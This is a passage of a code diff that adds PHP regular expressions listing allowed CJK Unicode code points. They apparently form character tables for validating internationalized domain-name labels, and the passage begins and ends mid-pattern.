+'\x{9AC4}\x{9ACF}\x{9AD1}\x{9AD3}\x{9AD4}\x{9AD8}\x{9ADE}\x{9ADF}\x{9AE2}' .
+'\x{9AE3}\x{9AE6}\x{9AEA}\x{9AEB}\x{9AED}\x{9AEE}\x{9AEF}\x{9AF1}\x{9AF4}' .
+'\x{9AF7}\x{9AFB}\x{9B06}\x{9B18}\x{9B1A}\x{9B1F}\x{9B22}\x{9B23}\x{9B25}' .
+'\x{9B27}\x{9B28}\x{9B29}\x{9B2A}\x{9B2E}\x{9B2F}\x{9B31}\x{9B32}\x{9B3B}' .
+'\x{9B3C}\x{9B41}\x{9B42}\x{9B43}\x{9B44}\x{9B45}\x{9B4D}\x{9B4E}\x{9B4F}' .
+'\x{9B51}\x{9B54}\x{9B58}\x{9B5A}\x{9B6F}\x{9B74}\x{9B83}\x{9B8E}\x{9B91}' .
+'\x{9B92}\x{9B93}\x{9B96}\x{9B97}\x{9B9F}\x{9BA0}\x{9BA8}\x{9BAA}\x{9BAB}' .
+'\x{9BAD}\x{9BAE}\x{9BB4}\x{9BB9}\x{9BC0}\x{9BC6}\x{9BC9}\x{9BCA}\x{9BCF}' .
+'\x{9BD1}\x{9BD2}\x{9BD4}\x{9BD6}\x{9BDB}\x{9BE1}\x{9BE2}\x{9BE3}\x{9BE4}' .
+'\x{9BE8}\x{9BF0}\x{9BF1}\x{9BF2}\x{9BF5}\x{9C04}\x{9C06}\x{9C08}\x{9C09}' .
+'\x{9C0A}\x{9C0C}\x{9C0D}\x{9C10}\x{9C12}\x{9C13}\x{9C14}\x{9C15}\x{9C1B}' .
+'\x{9C21}\x{9C24}\x{9C25}\x{9C2D}\x{9C2E}\x{9C2F}\x{9C30}\x{9C32}\x{9C39}' .
+'\x{9C3A}\x{9C3B}\x{9C3E}\x{9C46}\x{9C47}\x{9C48}\x{9C52}\x{9C57}\x{9C5A}' .
+'\x{9C60}\x{9C67}\x{9C76}\x{9C78}\x{9CE5}\x{9CE7}\x{9CE9}\x{9CEB}\x{9CEC}' .
+'\x{9CF0}\x{9CF3}\x{9CF4}\x{9CF6}\x{9D03}\x{9D06}\x{9D07}\x{9D08}\x{9D09}' .
+'\x{9D0E}\x{9D12}\x{9D15}\x{9D1B}\x{9D1F}\x{9D23}\x{9D26}\x{9D28}\x{9D2A}' .
+'\x{9D2B}\x{9D2C}\x{9D3B}\x{9D3E}\x{9D3F}\x{9D41}\x{9D44}\x{9D46}\x{9D48}' .
+'\x{9D50}\x{9D51}\x{9D59}\x{9D5C}\x{9D5D}\x{9D5E}\x{9D60}\x{9D61}\x{9D64}' .
+'\x{9D6C}\x{9D6F}\x{9D72}\x{9D7A}\x{9D87}\x{9D89}\x{9D8F}\x{9D9A}\x{9DA4}' .
+'\x{9DA9}\x{9DAB}\x{9DAF}\x{9DB2}\x{9DB4}\x{9DB8}\x{9DBA}\x{9DBB}\x{9DC1}' .
+'\x{9DC2}\x{9DC4}\x{9DC6}\x{9DCF}\x{9DD3}\x{9DD9}\x{9DE6}\x{9DED}\x{9DEF}' .
+'\x{9DF2}\x{9DF8}\x{9DF9}\x{9DFA}\x{9DFD}\x{9E1A}\x{9E1B}\x{9E1E}\x{9E75}' .
+'\x{9E78}\x{9E79}\x{9E7D}\x{9E7F}\x{9E81}\x{9E88}\x{9E8B}\x{9E8C}\x{9E91}' .
+'\x{9E92}\x{9E93}\x{9E95}\x{9E97}\x{9E9D}\x{9E9F}\x{9EA5}\x{9EA6}\x{9EA9}' .
+'\x{9EAA}\x{9EAD}\x{9EB8}\x{9EB9}\x{9EBA}\x{9EBB}\x{9EBC}\x{9EBE}\x{9EBF}' .
+'\x{9EC4}\x{9ECC}\x{9ECD}\x{9ECE}\x{9ECF}\x{9ED0}\x{9ED2}\x{9ED4}\x{9ED8}' .
+'\x{9ED9}\x{9EDB}\x{9EDC}\x{9EDD}\x{9EDE}\x{9EE0}\x{9EE5}\x{9EE8}\x{9EEF}' .
+'\x{9EF4}\x{9EF6}\x{9EF7}\x{9EF9}\x{9EFB}\x{9EFC}\x{9EFD}\x{9F07}\x{9F08}' .
+'\x{9F0E}\x{9F13}\x{9F15}\x{9F20}\x{9F21}\x{9F2C}\x{9F3B}\x{9F3E}\x{9F4A}' .
+'\x{9F4B}\x{9F4E}\x{9F4F}\x{9F52}\x{9F54}\x{9F5F}\x{9F60}\x{9F61}\x{9F62}' .
+'\x{9F63}\x{9F66}\x{9F67}\x{9F6A}\x{9F6C}\x{9F72}\x{9F76}\x{9F77}\x{9F8D}' .
+'\x{9F95}\x{9F9C}\x{9F9D}\x{9FA0}]{1,15}$/iu',
+    12 => '/^[\x{002d}0-9a-z\x{3447}\x{3473}\x{359E}\x{360E}\x{361A}\x{3918}\x{396E}\x{39CF}\x{39D0}' .
+'\x{39DF}\x{3A73}\x{3B4E}\x{3C6E}\x{3CE0}\x{4056}\x{415F}\x{4337}\x{43AC}' .
+'\x{43B1}\x{43DD}\x{44D6}\x{464C}\x{4661}\x{4723}\x{4729}\x{477C}\x{478D}' .
+'\x{4947}\x{497A}\x{497D}\x{4982}\x{4983}\x{4985}\x{4986}\x{499B}\x{499F}' .
+'\x{49B6}\x{49B7}\x{4C77}\x{4C9F}\x{4CA0}\x{4CA1}\x{4CA2}\x{4CA3}\x{4D13}' .
+'\x{4D14}\x{4D15}\x{4D16}\x{4D17}\x{4D18}\x{4D19}\x{4DAE}\x{4E00}\x{4E01}' .
+'\x{4E02}\x{4E03}\x{4E04}\x{4E05}\x{4E06}\x{4E07}\x{4E08}\x{4E09}\x{4E0A}' .
+'\x{4E0B}\x{4E0C}\x{4E0D}\x{4E0E}\x{4E0F}\x{4E10}\x{4E11}\x{4E13}\x{4E14}' .
+'\x{4E15}\x{4E16}\x{4E17}\x{4E18}\x{4E19}\x{4E1A}\x{4E1B}\x{4E1C}\x{4E1D}' .
+'\x{4E1E}\x{4E1F}\x{4E20}\x{4E21}\x{4E22}\x{4E23}\x{4E24}\x{4E25}\x{4E26}' .
+'\x{4E27}\x{4E28}\x{4E2A}\x{4E2B}\x{4E2C}\x{4E2D}\x{4E2E}\x{4E2F}\x{4E30}' .
+'\x{4E31}\x{4E32}\x{4E33}\x{4E34}\x{4E35}\x{4E36}\x{4E37}\x{4E38}\x{4E39}' .
+'\x{4E3A}\x{4E3B}\x{4E3C}\x{4E3D}\x{4E3E}\x{4E3F}\x{4E40}\x{4E41}\x{4E42}' .
+'\x{4E43}\x{4E44}\x{4E45}\x{4E46}\x{4E47}\x{4E48}\x{4E49}\x{4E4A}\x{4E4B}' .
+'\x{4E4C}\x{4E4D}\x{4E4E}\x{4E4F}\x{4E50}\x{4E51}\x{4E52}\x{4E53}\x{4E54}' .
+'\x{4E56}\x{4E57}\x{4E58}\x{4E59}\x{4E5A}\x{4E5B}\x{4E5C}\x{4E5D}\x{4E5E}' .
+'\x{4E5F}\x{4E60}\x{4E61}\x{4E62}\x{4E63}\x{4E64}\x{4E65}\x{4E66}\x{4E67}' .
+'\x{4E69}\x{4E6A}\x{4E6B}\x{4E6C}\x{4E6D}\x{4E6E}\x{4E6F}\x{4E70}\x{4E71}' .
+'\x{4E72}\x{4E73}\x{4E74}\x{4E75}\x{4E76}\x{4E77}\x{4E78}\x{4E7A}\x{4E7B}' .
+'\x{4E7C}\x{4E7D}\x{4E7E}\x{4E7F}\x{4E80}\x{4E81}\x{4E82}\x{4E83}\x{4E84}' .
+'\x{4E85}\x{4E86}\x{4E87}\x{4E88}\x{4E89}\x{4E8B}\x{4E8C}\x{4E8D}\x{4E8E}' .
+'\x{4E8F}\x{4E90}\x{4E91}\x{4E92}\x{4E93}\x{4E94}\x{4E95}\x{4E97}\x{4E98}' .
+'\x{4E99}\x{4E9A}\x{4E9B}\x{4E9C}\x{4E9D}\x{4E9E}\x{4E9F}\x{4EA0}\x{4EA1}' .
+'\x{4EA2}\x{4EA4}\x{4EA5}\x{4EA6}\x{4EA7}\x{4EA8}\x{4EA9}\x{4EAA}\x{4EAB}' .
+'\x{4EAC}\x{4EAD}\x{4EAE}\x{4EAF}\x{4EB0}\x{4EB1}\x{4EB2}\x{4EB3}\x{4EB4}' .
+'\x{4EB5}\x{4EB6}\x{4EB7}\x{4EB8}\x{4EB9}\x{4EBA}\x{4EBB}\x{4EBD}\x{4EBE}' .
+'\x{4EBF}\x{4EC0}\x{4EC1}\x{4EC2}\x{4EC3}\x{4EC4}\x{4EC5}\x{4EC6}\x{4EC7}' .
+'\x{4EC8}\x{4EC9}\x{4ECA}\x{4ECB}\x{4ECD}\x{4ECE}\x{4ECF}\x{4ED0}\x{4ED1}' .
+'\x{4ED2}\x{4ED3}\x{4ED4}\x{4ED5}\x{4ED6}\x{4ED7}\x{4ED8}\x{4ED9}\x{4EDA}' .
+'\x{4EDB}\x{4EDC}\x{4EDD}\x{4EDE}\x{4EDF}\x{4EE0}\x{4EE1}\x{4EE2}\x{4EE3}' .
+'\x{4EE4}\x{4EE5}\x{4EE6}\x{4EE8}\x{4EE9}\x{4EEA}\x{4EEB}\x{4EEC}\x{4EEF}' .
+'\x{4EF0}\x{4EF1}\x{4EF2}\x{4EF3}\x{4EF4}\x{4EF5}\x{4EF6}\x{4EF7}\x{4EFB}' .
+'\x{4EFD}\x{4EFF}\x{4F00}\x{4F01}\x{4F02}\x{4F03}\x{4F04}\x{4F05}\x{4F06}' .
+'\x{4F08}\x{4F09}\x{4F0A}\x{4F0B}\x{4F0C}\x{4F0D}\x{4F0E}\x{4F0F}\x{4F10}' .
+'\x{4F11}\x{4F12}\x{4F13}\x{4F14}\x{4F15}\x{4F17}\x{4F18}\x{4F19}\x{4F1A}' .
+'\x{4F1B}\x{4F1C}\x{4F1D}\x{4F1E}\x{4F1F}\x{4F20}\x{4F21}\x{4F22}\x{4F23}' .
+'\x{4F24}\x{4F25}\x{4F26}\x{4F27}\x{4F29}\x{4F2A}\x{4F2B}\x{4F2C}\x{4F2D}' .
+'\x{4F2E}\x{4F2F}\x{4F30}\x{4F32}\x{4F33}\x{4F34}\x{4F36}\x{4F38}\x{4F39}' .
+'\x{4F3A}\x{4F3B}\x{4F3C}\x{4F3D}\x{4F3E}\x{4F3F}\x{4F41}\x{4F42}\x{4F43}' .
+'\x{4F45}\x{4F46}\x{4F47}\x{4F48}\x{4F49}\x{4F4A}\x{4F4B}\x{4F4C}\x{4F4D}' .
+'\x{4F4E}\x{4F4F}\x{4F50}\x{4F51}\x{4F52}\x{4F53}\x{4F54}\x{4F55}\x{4F56}' .
+'\x{4F57}\x{4F58}\x{4F59}\x{4F5A}\x{4F5B}\x{4F5C}\x{4F5D}\x{4F5E}\x{4F5F}' .
+'\x{4F60}\x{4F61}\x{4F62}\x{4F63}\x{4F64}\x{4F65}\x{4F66}\x{4F67}\x{4F68}' .
+'\x{4F69}\x{4F6A}\x{4F6B}\x{4F6C}\x{4F6D}\x{4F6E}\x{4F6F}\x{4F70}\x{4F72}' .
+'\x{4F73}\x{4F74}\x{4F75}\x{4F76}\x{4F77}\x{4F78}\x{4F79}\x{4F7A}\x{4F7B}' .
+'\x{4F7C}\x{4F7D}\x{4F7E}\x{4F7F}\x{4F80}\x{4F81}\x{4F82}\x{4F83}\x{4F84}' .
+'\x{4F85}\x{4F86}\x{4F87}\x{4F88}\x{4F89}\x{4F8A}\x{4F8B}\x{4F8D}\x{4F8F}' .
+'\x{4F90}\x{4F91}\x{4F92}\x{4F93}\x{4F94}\x{4F95}\x{4F96}\x{4F97}\x{4F98}' .
+'\x{4F99}\x{4F9A}\x{4F9B}\x{4F9C}\x{4F9D}\x{4F9E}\x{4F9F}\x{4FA0}\x{4FA1}' .
+'\x{4FA3}\x{4FA4}\x{4FA5}\x{4FA6}\x{4FA7}\x{4FA8}\x{4FA9}\x{4FAA}\x{4FAB}' .
+'\x{4FAC}\x{4FAE}\x{4FAF}\x{4FB0}\x{4FB1}\x{4FB2}\x{4FB3}\x{4FB4}\x{4FB5}' .
+'\x{4FB6}\x{4FB7}\x{4FB8}\x{4FB9}\x{4FBA}\x{4FBB}\x{4FBC}\x{4FBE}\x{4FBF}' .
+'\x{4FC0}\x{4FC1}\x{4FC2}\x{4FC3}\x{4FC4}\x{4FC5}\x{4FC7}\x{4FC9}\x{4FCA}' .
+'\x{4FCB}\x{4FCD}\x{4FCE}\x{4FCF}\x{4FD0}\x{4FD1}\x{4FD2}\x{4FD3}\x{4FD4}' .
+'\x{4FD5}\x{4FD6}\x{4FD7}\x{4FD8}\x{4FD9}\x{4FDA}\x{4FDB}\x{4FDC}\x{4FDD}' .
+'\x{4FDE}\x{4FDF}\x{4FE0}\x{4FE1}\x{4FE3}\x{4FE4}\x{4FE5}\x{4FE6}\x{4FE7}' .
+'\x{4FE8}\x{4FE9}\x{4FEA}\x{4FEB}\x{4FEC}\x{4FED}\x{4FEE}\x{4FEF}\x{4FF0}' .
+'\x{4FF1}\x{4FF2}\x{4FF3}\x{4FF4}\x{4FF5}\x{4FF6}\x{4FF7}\x{4FF8}\x{4FF9}' .
+'\x{4FFA}\x{4FFB}\x{4FFE}\x{4FFF}\x{5000}\x{5001}\x{5002}\x{5003}\x{5004}' .
+'\x{5005}\x{5006}\x{5007}\x{5008}\x{5009}\x{500A}\x{500B}\x{500C}\x{500D}' .
+'\x{500E}\x{500F}\x{5011}\x{5012}\x{5013}\x{5014}\x{5015}\x{5016}\x{5017}' .
+'\x{5018}\x{5019}\x{501A}\x{501B}\x{501C}\x{501D}\x{501E}\x{501F}\x{5020}' .
+'\x{5021}\x{5022}\x{5023}\x{5024}\x{5025}\x{5026}\x{5027}\x{5028}\x{5029}' .
+'\x{502A}\x{502B}\x{502C}\x{502D}\x{502E}\x{502F}\x{5030}\x{5031}\x{5032}' .
+'\x{5033}\x{5035}\x{5036}\x{5037}\x{5039}\x{503A}\x{503B}\x{503C}\x{503E}' .
+'\x{503F}\x{5040}\x{5041}\x{5043}\x{5044}\x{5045}\x{5046}\x{5047}\x{5048}' .
+'\x{5049}\x{504A}\x{504B}\x{504C}\x{504D}\x{504E}\x{504F}\x{5051}\x{5053}' .
+'\x{5054}\x{5055}\x{5056}\x{5057}\x{5059}\x{505A}\x{505B}\x{505C}\x{505D}' .
+'\x{505E}\x{505F}\x{5060}\x{5061}\x{5062}\x{5063}\x{5064}\x{5065}\x{5066}' .
+'\x{5067}\x{5068}\x{5069}\x{506A}\x{506B}\x{506C}\x{506D}\x{506E}\x{506F}' .
+'\x{5070}\x{5071}\x{5072}\x{5073}\x{5074}\x{5075}\x{5076}\x{5077}\x{5078}' .
+'\x{5079}\x{507A}\x{507B}\x{507D}\x{507E}\x{507F}\x{5080}\x{5082}\x{5083}' .
+'\x{5084}\x{5085}\x{5086}\x{5087}\x{5088}\x{5089}\x{508A}\x{508B}\x{508C}' .
+'\x{508D}\x{508E}\x{508F}\x{5090}\x{5091}\x{5092}\x{5094}\x{5095}\x{5096}' .
+'\x{5098}\x{5099}\x{509A}\x{509B}\x{509C}\x{509D}\x{509E}\x{50A2}\x{50A3}' .
+'\x{50A4}\x{50A5}\x{50A6}\x{50A7}\x{50A8}\x{50A9}\x{50AA}\x{50AB}\x{50AC}' .
+'\x{50AD}\x{50AE}\x{50AF}\x{50B0}\x{50B1}\x{50B2}\x{50B3}\x{50B4}\x{50B5}' .
+'\x{50B6}\x{50B7}\x{50B8}\x{50BA}\x{50BB}\x{50BC}\x{50BD}\x{50BE}\x{50BF}' .
+'\x{50C0}\x{50C1}\x{50C2}\x{50C4}\x{50C5}\x{50C6}\x{50C7}\x{50C8}\x{50C9}' .
+'\x{50CA}\x{50CB}\x{50CC}\x{50CD}\x{50CE}\x{50CF}\x{50D0}\x{50D1}\x{50D2}' .
+'\x{50D3}\x{50D4}\x{50D5}\x{50D6}\x{50D7}\x{50D9}\x{50DA}\x{50DB}\x{50DC}' .
+'\x{50DD}\x{50DE}\x{50E0}\x{50E3}\x{50E4}\x{50E5}\x{50E6}\x{50E7}\x{50E8}' .
+'\x{50E9}\x{50EA}\x{50EC}\x{50ED}\x{50EE}\x{50EF}\x{50F0}\x{50F1}\x{50F2}' .
+'\x{50F3}\x{50F5}\x{50F6}\x{50F8}\x{50F9}\x{50FA}\x{50FB}\x{50FC}\x{50FD}' .
+'\x{50FE}\x{50FF}\x{5100}\x{5101}\x{5102}\x{5103}\x{5104}\x{5105}\x{5106}' .
+'\x{5107}\x{5108}\x{5109}\x{510A}\x{510B}\x{510C}\x{510D}\x{510E}\x{510F}' .
+'\x{5110}\x{5111}\x{5112}\x{5113}\x{5114}\x{5115}\x{5116}\x{5117}\x{5118}' .
+'\x{5119}\x{511A}\x{511C}\x{511D}\x{511E}\x{511F}\x{5120}\x{5121}\x{5122}' .
+'\x{5123}\x{5124}\x{5125}\x{5126}\x{5127}\x{5129}\x{512A}\x{512C}\x{512D}' .
+'\x{512E}\x{512F}\x{5130}\x{5131}\x{5132}\x{5133}\x{5134}\x{5135}\x{5136}' .
+'\x{5137}\x{5138}\x{5139}\x{513A}\x{513B}\x{513C}\x{513D}\x{513E}\x{513F}' .
+'\x{5140}\x{5141}\x{5143}\x{5144}\x{5145}\x{5146}\x{5147}\x{5148}\x{5149}' .
+'\x{514B}\x{514C}\x{514D}\x{514E}\x{5150}\x{5151}\x{5152}\x{5154}\x{5155}' .
+'\x{5156}\x{5157}\x{5159}\x{515A}\x{515B}\x{515C}\x{515D}\x{515E}\x{515F}' .
+'\x{5161}\x{5162}\x{5163}\x{5165}\x{5166}\x{5167}\x{5168}\x{5169}\x{516A}' .
+'\x{516B}\x{516C}\x{516D}\x{516E}\x{516F}\x{5170}\x{5171}\x{5173}\x{5174}' .
+'\x{5175}\x{5176}\x{5177}\x{5178}\x{5179}\x{517A}\x{517B}\x{517C}\x{517D}' .
+'\x{517F}\x{5180}\x{5181}\x{5182}\x{5185}\x{5186}\x{5187}\x{5188}\x{5189}' .
+'\x{518A}\x{518B}\x{518C}\x{518D}\x{518F}\x{5190}\x{5191}\x{5192}\x{5193}' .
+'\x{5194}\x{5195}\x{5196}\x{5197}\x{5198}\x{5199}\x{519A}\x{519B}\x{519C}' .
+'\x{519D}\x{519E}\x{519F}\x{51A0}\x{51A2}\x{51A4}\x{51A5}\x{51A6}\x{51A7}' .
+'\x{51A8}\x{51AA}\x{51AB}\x{51AC}\x{51AE}\x{51AF}\x{51B0}\x{51B1}\x{51B2}' .
+'\x{51B3}\x{51B5}\x{51B6}\x{51B7}\x{51B9}\x{51BB}\x{51BC}\x{51BD}\x{51BE}' .
+'\x{51BF}\x{51C0}\x{51C1}\x{51C3}\x{51C4}\x{51C5}\x{51C6}\x{51C7}\x{51C8}' .
+'\x{51C9}\x{51CA}\x{51CB}\x{51CC}\x{51CD}\x{51CE}\x{51CF}\x{51D0}\x{51D1}' .
+'\x{51D4}\x{51D5}\x{51D6}\x{51D7}\x{51D8}\x{51D9}\x{51DA}\x{51DB}\x{51DC}' .
+'\x{51DD}\x{51DE}\x{51E0}\x{51E1}\x{51E2}\x{51E3}\x{51E4}\x{51E5}\x{51E7}' .
+'\x{51E8}\x{51E9}\x{51EA}\x{51EB}\x{51ED}\x{51EF}\x{51F0}\x{51F1}\x{51F3}' .
+'\x{51F4}\x{51F5}\x{51F6}\x{51F7}\x{51F8}\x{51F9}\x{51FA}\x{51FB}\x{51FC}' .
+'\x{51FD}\x{51FE}\x{51FF}\x{5200}\x{5201}\x{5202}\x{5203}\x{5204}\x{5205}' .
+'\x{5206}\x{5207}\x{5208}\x{5209}\x{520A}\x{520B}\x{520C}\x{520D}\x{520E}' .
+'\x{520F}\x{5210}\x{5211}\x{5212}\x{5213}\x{5214}\x{5215}\x{5216}\x{5217}' .
+'\x{5218}\x{5219}\x{521A}\x{521B}\x{521C}\x{521D}\x{521E}\x{521F}\x{5220}' .
+'\x{5221}\x{5222}\x{5223}\x{5224}\x{5225}\x{5226}\x{5228}\x{5229}\x{522A}' .
+'\x{522B}\x{522C}\x{522D}\x{522E}\x{522F}\x{5230}\x{5231}\x{5232}\x{5233}' .
+'\x{5234}\x{5235}\x{5236}\x{5237}\x{5238}\x{5239}\x{523A}\x{523B}\x{523C}' .
+'\x{523D}\x{523E}\x{523F}\x{5240}\x{5241}\x{5242}\x{5243}\x{5244}\x{5245}' .
+'\x{5246}\x{5247}\x{5248}\x{5249}\x{524A}\x{524B}\x{524C}\x{524D}\x{524E}' .
+'\x{5250}\x{5251}\x{5252}\x{5254}\x{5255}\x{5256}\x{5257}\x{5258}\x{5259}' .
+'\x{525A}\x{525B}\x{525C}\x{525D}\x{525E}\x{525F}\x{5260}\x{5261}\x{5262}' .
+'\x{5263}\x{5264}\x{5265}\x{5267}\x{5268}\x{5269}\x{526A}\x{526B}\x{526C}' .
+'\x{526D}\x{526E}\x{526F}\x{5270}\x{5272}\x{5273}\x{5274}\x{5275}\x{5276}' .
+'\x{5277}\x{5278}\x{527A}\x{527B}\x{527C}\x{527D}\x{527E}\x{527F}\x{5280}' .
+'\x{5281}\x{5282}\x{5283}\x{5284}\x{5286}\x{5287}\x{5288}\x{5289}\x{528A}' .
+'\x{528B}\x{528C}\x{528D}\x{528F}\x{5290}\x{5291}\x{5292}\x{5293}\x{5294}' .
+'\x{5295}\x{5296}\x{5297}\x{5298}\x{5299}\x{529A}\x{529B}\x{529C}\x{529D}' .
+'\x{529E}\x{529F}\x{52A0}\x{52A1}\x{52A2}\x{52A3}\x{52A5}\x{52A6}\x{52A7}' .
+'\x{52A8}\x{52A9}\x{52AA}\x{52AB}\x{52AC}\x{52AD}\x{52AE}\x{52AF}\x{52B0}' .
+'\x{52B1}\x{52B2}\x{52B3}\x{52B4}\x{52B5}\x{52B6}\x{52B7}\x{52B8}\x{52B9}' .
+'\x{52BA}\x{52BB}\x{52BC}\x{52BD}\x{52BE}\x{52BF}\x{52C0}\x{52C1}\x{52C2}' .
+'\x{52C3}\x{52C6}\x{52C7}\x{52C9}\x{52CA}\x{52CB}\x{52CD}\x{52CF}\x{52D0}' .
+'\x{52D2}\x{52D3}\x{52D5}\x{52D6}\x{52D7}\x{52D8}\x{52D9}\x{52DA}\x{52DB}' .
+'\x{52DC}\x{52DD}\x{52DE}\x{52DF}\x{52E0}\x{52E2}\x{52E3}\x{52E4}\x{52E6}' .
+'\x{52E7}\x{52E8}\x{52E9}\x{52EA}\x{52EB}\x{52EC}\x{52ED}\x{52EF}\x{52F0}' .
+'\x{52F1}\x{52F2}\x{52F3}\x{52F4}\x{52F5}\x{52F6}\x{52F7}\x{52F8}\x{52F9}' .
+'\x{52FA}\x{52FB}\x{52FC}\x{52FD}\x{52FE}\x{52FF}\x{5300}\x{5301}\x{5302}' .
+'\x{5305}\x{5306}\x{5307}\x{5308}\x{5309}\x{530A}\x{530B}\x{530C}\x{530D}' .
+'\x{530E}\x{530F}\x{5310}\x{5311}\x{5312}\x{5313}\x{5314}\x{5315}\x{5316}' .
+'\x{5317}\x{5319}\x{531A}\x{531C}\x{531D}\x{531F}\x{5320}\x{5321}\x{5322}' .
+'\x{5323}\x{5324}\x{5325}\x{5326}\x{5328}\x{532A}\x{532B}\x{532C}\x{532D}' .
+'\x{532E}\x{532F}\x{5330}\x{5331}\x{5333}\x{5334}\x{5337}\x{5339}\x{533A}' .
+'\x{533B}\x{533C}\x{533D}\x{533E}\x{533F}\x{5340}\x{5341}\x{5343}\x{5344}' .
+'\x{5345}\x{5346}\x{5347}\x{5348}\x{5349}\x{534A}\x{534B}\x{534C}\x{534D}' .
+'\x{534E}\x{534F}\x{5350}\x{5351}\x{5352}\x{5353}\x{5354}\x{5355}\x{5356}' .
+'\x{5357}\x{5358}\x{5359}\x{535A}\x{535C}\x{535E}\x{535F}\x{5360}\x{5361}' .
+'\x{5362}\x{5363}\x{5364}\x{5365}\x{5366}\x{5367}\x{5369}\x{536B}\x{536C}' .
+'\x{536E}\x{536F}\x{5370}\x{5371}\x{5372}\x{5373}\x{5374}\x{5375}\x{5376}' .
+'\x{5377}\x{5378}\x{5379}\x{537A}\x{537B}\x{537C}\x{537D}\x{537E}\x{537F}' .
+'\x{5381}\x{5382}\x{5383}\x{5384}\x{5385}\x{5386}\x{5387}\x{5388}\x{5389}' .
+'\x{538A}\x{538B}\x{538C}\x{538D}\x{538E}\x{538F}\x{5390}\x{5391}\x{5392}' .
+'\x{5393}\x{5394}\x{5395}\x{5396}\x{5397}\x{5398}\x{5399}\x{539A}\x{539B}' .
+'\x{539C}\x{539D}\x{539E}\x{539F}\x{53A0}\x{53A2}\x{53A3}\x{53A4}\x{53A5}' .
+'\x{53A6}\x{53A7}\x{53A8}\x{53A9}\x{53AC}\x{53AD}\x{53AE}\x{53B0}\x{53B1}' .
+'\x{53B2}\x{53B3}\x{53B4}\x{53B5}\x{53B6}\x{53B7}\x{53B8}\x{53B9}\x{53BB}' .
+'\x{53BC}\x{53BD}\x{53BE}\x{53BF}\x{53C0}\x{53C1}\x{53C2}\x{53C3}\x{53C4}' .
+'\x{53C6}\x{53C7}\x{53C8}\x{53C9}\x{53CA}\x{53CB}\x{53CC}\x{53CD}\x{53CE}' .
+'\x{53D0}\x{53D1}\x{53D2}\x{53D3}\x{53D4}\x{53D5}\x{53D6}\x{53D7}\x{53D8}' .
+'\x{53D9}\x{53DB}\x{53DC}\x{53DF}\x{53E0}\x{53E1}\x{53E2}\x{53E3}\x{53E4}' .
+'\x{53E5}\x{53E6}\x{53E8}\x{53E9}\x{53EA}\x{53EB}\x{53EC}\x{53ED}\x{53EE}' .
+'\x{53EF}\x{53F0}\x{53F1}\x{53F2}\x{53F3}\x{53F4}\x{53F5}\x{53F6}\x{53F7}' .
+'\x{53F8}\x{53F9}\x{53FA}\x{53FB}\x{53FC}\x{53FD}\x{53FE}\x{5401}\x{5402}' .
+'\x{5403}\x{5404}\x{5405}\x{5406}\x{5407}\x{5408}\x{5409}\x{540A}\x{540B}' .
+'\x{540C}\x{540D}\x{540E}\x{540F}\x{5410}\x{5411}\x{5412}\x{5413}\x{5414}' .
+'\x{5415}\x{5416}\x{5417}\x{5418}\x{5419}\x{541B}\x{541C}\x{541D}\x{541E}' .
+'\x{541F}\x{5420}\x{5421}\x{5423}\x{5424}\x{5425}\x{5426}\x{5427}\x{5428}' .
+'\x{5429}\x{542A}\x{542B}\x{542C}\x{542D}\x{542E}\x{542F}\x{5430}\x{5431}' .
+'\x{5432}\x{5433}\x{5434}\x{5435}\x{5436}\x{5437}\x{5438}\x{5439}\x{543A}' .
+'\x{543B}\x{543C}\x{543D}\x{543E}\x{543F}\x{5440}\x{5441}\x{5442}\x{5443}' .
+'\x{5444}\x{5445}\x{5446}\x{5447}\x{5448}\x{5449}\x{544A}\x{544B}\x{544D}' .
+'\x{544E}\x{544F}\x{5450}\x{5451}\x{5452}\x{5453}\x{5454}\x{5455}\x{5456}' .
+'\x{5457}\x{5458}\x{5459}\x{545A}\x{545B}\x{545C}\x{545E}\x{545F}\x{5460}' .
+'\x{5461}\x{5462}\x{5463}\x{5464}\x{5465}\x{5466}\x{5467}\x{5468}\x{546A}' .
+'\x{546B}\x{546C}\x{546D}\x{546E}\x{546F}\x{5470}\x{5471}\x{5472}\x{5473}' .
+'\x{5474}\x{5475}\x{5476}\x{5477}\x{5478}\x{5479}\x{547A}\x{547B}\x{547C}' .
+'\x{547D}\x{547E}\x{547F}\x{5480}\x{5481}\x{5482}\x{5483}\x{5484}\x{5485}' .
+'\x{5486}\x{5487}\x{5488}\x{5489}\x{548B}\x{548C}\x{548D}\x{548E}\x{548F}' .
+'\x{5490}\x{5491}\x{5492}\x{5493}\x{5494}\x{5495}\x{5496}\x{5497}\x{5498}' .
+'\x{5499}\x{549A}\x{549B}\x{549C}\x{549D}\x{549E}\x{549F}\x{54A0}\x{54A1}' .
+'\x{54A2}\x{54A3}\x{54A4}\x{54A5}\x{54A6}\x{54A7}\x{54A8}\x{54A9}\x{54AA}' .
+'\x{54AB}\x{54AC}\x{54AD}\x{54AE}\x{54AF}\x{54B0}\x{54B1}\x{54B2}\x{54B3}' .
+'\x{54B4}\x{54B6}\x{54B7}\x{54B8}\x{54B9}\x{54BA}\x{54BB}\x{54BC}\x{54BD}' .
+'\x{54BE}\x{54BF}\x{54C0}\x{54C1}\x{54C2}\x{54C3}\x{54C4}\x{54C5}\x{54C6}' .
+'\x{54C7}\x{54C8}\x{54C9}\x{54CA}\x{54CB}\x{54CC}\x{54CD}\x{54CE}\x{54CF}' .
+'\x{54D0}\x{54D1}\x{54D2}\x{54D3}\x{54D4}\x{54D5}\x{54D6}\x{54D7}\x{54D8}' .
+'\x{54D9}\x{54DA}\x{54DB}\x{54DC}\x{54DD}\x{54DE}\x{54DF}\x{54E0}\x{54E1}' .
+'\x{54E2}\x{54E3}\x{54E4}\x{54E5}\x{54E6}\x{54E7}\x{54E8}\x{54E9}\x{54EA}' .
+'\x{54EB}\x{54EC}\x{54ED}\x{54EE}\x{54EF}\x{54F0}\x{54F1}\x{54F2}\x{54F3}' .
+'\x{54F4}\x{54F5}\x{54F7}\x{54F8}\x{54F9}\x{54FA}\x{54FB}\x{54FC}\x{54FD}' .
+'\x{54FE}\x{54FF}\x{5500}\x{5501}\x{5502}\x{5503}\x{5504}\x{5505}\x{5506}' .
+'\x{5507}\x{5508}\x{5509}\x{550A}\x{550B}\x{550C}\x{550D}\x{550E}\x{550F}' .
+'\x{5510}\x{5511}\x{5512}\x{5513}\x{5514}\x{5516}\x{5517}\x{551A}\x{551B}' .
+'\x{551C}\x{551D}\x{551E}\x{551F}\x{5520}\x{5521}\x{5522}\x{5523}\x{5524}' .
+'\x{5525}\x{5526}\x{5527}\x{5528}\x{5529}\x{552A}\x{552B}\x{552C}\x{552D}' .
